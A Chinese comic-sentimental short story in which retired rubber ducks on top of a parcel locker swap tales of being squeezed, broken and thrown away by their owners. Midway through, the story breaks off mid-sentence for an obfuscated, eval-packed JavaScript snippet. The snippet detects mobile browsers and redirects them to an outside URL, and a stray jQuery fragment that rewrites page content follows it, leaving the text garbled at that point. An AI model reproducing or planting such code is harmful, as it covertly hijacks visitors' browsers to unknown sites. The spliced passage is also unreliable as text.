时间：3:47PM（周四，多云转晴）
记录鸭：老茶（工龄4年，初代隐藏款，现居退休鸭养老院：某小区快递柜顶层）
我叫老茶，是一只初代隐藏款鸭鸭。
别问为什么叫老茶，问就是当年那批"鸭屎香柠檬茶"的初代赠品，我们一百个兄弟姐妹从流水线上滚下来时，身上都带着一股子香精味，闻着像茶叶蛋泡进了洗洁精。后来人类管这叫"品牌记忆点"，我们管这叫"出厂即社死"。
四年了。整整四年。在鸭鸭界，这相当于人类世界的百岁老人。
我现在住在一个快递柜的顶层，视野开阔，冬暖夏凉，偶尔还能看见对面楼王阿姨晾的腊肠。这里是我的"退休鸭养老院"，常住人口七只，都是各门店淘汰下来的老员工。我们有自己的作息表：早上六点听楼下广场舞音乐醒神，中午十二点等外卖骑手来柜子里放餐时蹭几句人间烟火，下午三点准时开茶话会。
今天的茶话会主题："那些年，我们被捏过的离谱瞬间"。
老茶（我）：
我先说吧。我第一任主人是个程序员，工位在"大厂"，人类管那种地方叫大厂，我们鸭鸭去了都叫"大坟场"。"大坟场"流行每人配一只鸭鸭，缓解他们的压力，虽然我们经常被他们吐槽鸭梨更大了！我的主人把我放在显示器旁边，每天凌晨两点，我都能看见他眼睛里的红血丝比我的鸭喙还红。他压力大的时候就捏我，不是普通的捏，是那种带着节奏感的捏——"嘎、嘎、嘎"，三短一长，摩斯密码似的。后来我才知道，那是他在给产品经理的祖宗十八代发送电报。
有一次他连续捏了我四个小时，我的发声器直接烧坏了，发出一种类似"嘎——嗷——呜"的悲鸣。他愣了一下，然后眼泪就下来了。不是哭我，是哭他自己。他说："老茶，我连一只鸭都捏坏了，我怎么这么废物。"我想安慰他，却没办法发出声音。
当天晚上，失魂落魄的他压根没发现，他下班的时候一不小心把我勾到了地上，还是好心的保洁阿姨把我放到了快递柜上，让我帮忙看守那些无人领取的快递。
但你们猜怎么着？三个月后，我在快递柜顶层见到他同事的鸭鸭。新鸭说，你前任猝死在工位上了，临终前手里还攥着我的替代品，捏得死紧，法医都掰不开。我主人一看你主人的惨状，直接离职保命。
新鸭说："老茶，你前任让我带句话——''对不起，把你捏坏了''。"
我沉默了很久。塑料心脏不会跳，但那一刻我觉得它漏气了。
老花（工龄3年半，圣诞限定红绿配色，现居快递柜第二层）：
该我了。我比老茶幸运点，我最后一任主人是个老奶奶。
她年纪大了，好像得了老年痴呆，把我当成了她已经去世的老伴。她每天给我"喂饭"，就是往我嘴里塞米粒子，塞完还念叨："老头子，今天天气不错啊，你多吃点。"
我发不出声了，她就自己配音："嘎——好吃——"
后来她孙子来家里，看见我就笑："奶奶，这是鸭子，不是爷爷！"
老奶奶愣了一下，然后摸摸我的头，说："鸭子也好，鸭子也好，会嘎嘎叫，比你爷爷话多。"
她走的那天，把我塞进了她老头子的骨灰盒旁边。她孙子清理遗物时发现了，觉得太不严肃了，就把我扔进了小区垃圾桶。是扫地的张阿姨把我捡出来，洗了三遍，放到了这个快递柜顶层。
我现在每天看着对面楼的腊肠，就想起老奶奶的米粒子。咸的，带着一点她手心的温度。
老皮（工龄2年，"鸭鸭补完计划"幸存者，现居快递柜最底层，因为掉漆太严重，其他鸭嫌他丑）：
我……我说点高兴的吧。
我是被一只柯基咬坏的。对，就是那只在店门口晃悠的、眼神凶残的柯基。它把我叼在嘴里，甩了三十七个来回，我的左翅直接飞了，肚子上多了三个牙印，像某种行为艺术。
但你们知道吗？它主人，是个小女孩，追了它三条街，边追边哭："把鸭鸭还给我！"
她找到我的时候，我已经不成人形了。她抱着我，眼泪鼻涕糊了我一身，那温度居然让我残破的发声器发出了最后一声"嘎"。
她小心翼翼地把我用胶水粘了起来，胶条歪歪扭扭，像蚯蚓在爬。她还给我画了眉毛，左眼一道，右眼三道，说这叫"不对称美学"。
后来小女孩在骑车的时候一不小心把我甩了出来，我被路过的车轮压过，居然没被压碎，最后被张阿姨发现时，她惊呼："这鸭子命真硬！"
那当然。我可是被柯基咬过、被小女孩修过、被压缩车压过都没死的鸭。论命硬，在座各位都是弟弟。
茶话会开到一半，楼下突然传来"叮"的一声。
是外卖骑手在放餐。
我们齐刷刷探出头去，这是鸭鸭养老院每天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495058|202445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最期待的时刻。骑手是个二十出头的小伙子，头盔上绑着一只跟我们同款的小黄鸭，风吹得那鸭子直晃悠，像在给生活竖中指。
"今天送的啥？"老花问。
"奶茶，"我眯起豆豆眼，推测，"两杯鸭屎香，附赠两只小鸭鸭。"
"新手？"
"看着像。颜色还鲜亮，走路都带着蹦跶劲儿。"
我们沉默了一会儿。所有老员工都知道，那种蹦跶劲儿最多维持三个月。
"要提醒他们吗？"老皮问，"关于鸭鸭补完计划？"
"不用，"我说，"每只鸭都得自己经历。就像人类说的"
"未经捏扁的鸭生，不值得一过？"老花接话。
"不，"我纠正他，"是''未经审视的鸭生，不值得一过''。但对我们鸭鸭来说，被捏扁，就是最好的审视。"
夕阳西下，快递柜顶层镀上一层金边。对面楼的腊肠开始收进屋里，广场舞音乐换成了《最炫民族风》。
老皮突然说："老茶，你后悔吗？四年，被捏了不知道多少次，最后落在这儿，风吹日晒。"
我想了想，看着头盔上那只还在晃悠的小黄鸭。
"不后悔，"我说，"我们的鸭生，比很多从没被捏过的鸭，丰盛多了。我们不需要经历鸭鸭补完计划，我们可以保存着最鲜活最美好的记忆。"
"而且，"我补充，"明天张阿姨说要来给我们擦身子。她擦得可温柔了，跟当年流水线上的女工一样。"
我们七只老鸭，在快递柜顶层排成一排，看着城市的灯火次第亮起。
那些灯火里，有无数只新鸭正在经历他们的第一次被捏，第一次被选择，第一次被丢弃。他们现在可能正瑟瑟发抖，可能正幻想好运，可能正在某个包包的角落里，听着前辈讲述抽屉和黑色袋子的传说。
但没关系。
总有一天，他们可能也会来到某个快递柜的顶层，或者某个抽屉的深处，或者某个小女孩的饼干盒里，可能也会经历鸭鸭补完计划。他们会明白：
鸭生不易，但鸭生值得。
因为被捏过，所以存在过。
因为疼痛过，所以温暖过。
因为终将褪色，所以此刻鲜活。
"嘎"我们齐声发出了退休鸭的宣言，声音沙哑，但整齐。
楼下，头盔上的小黄鸭似乎听见了，在风中晃了晃，像是在回应。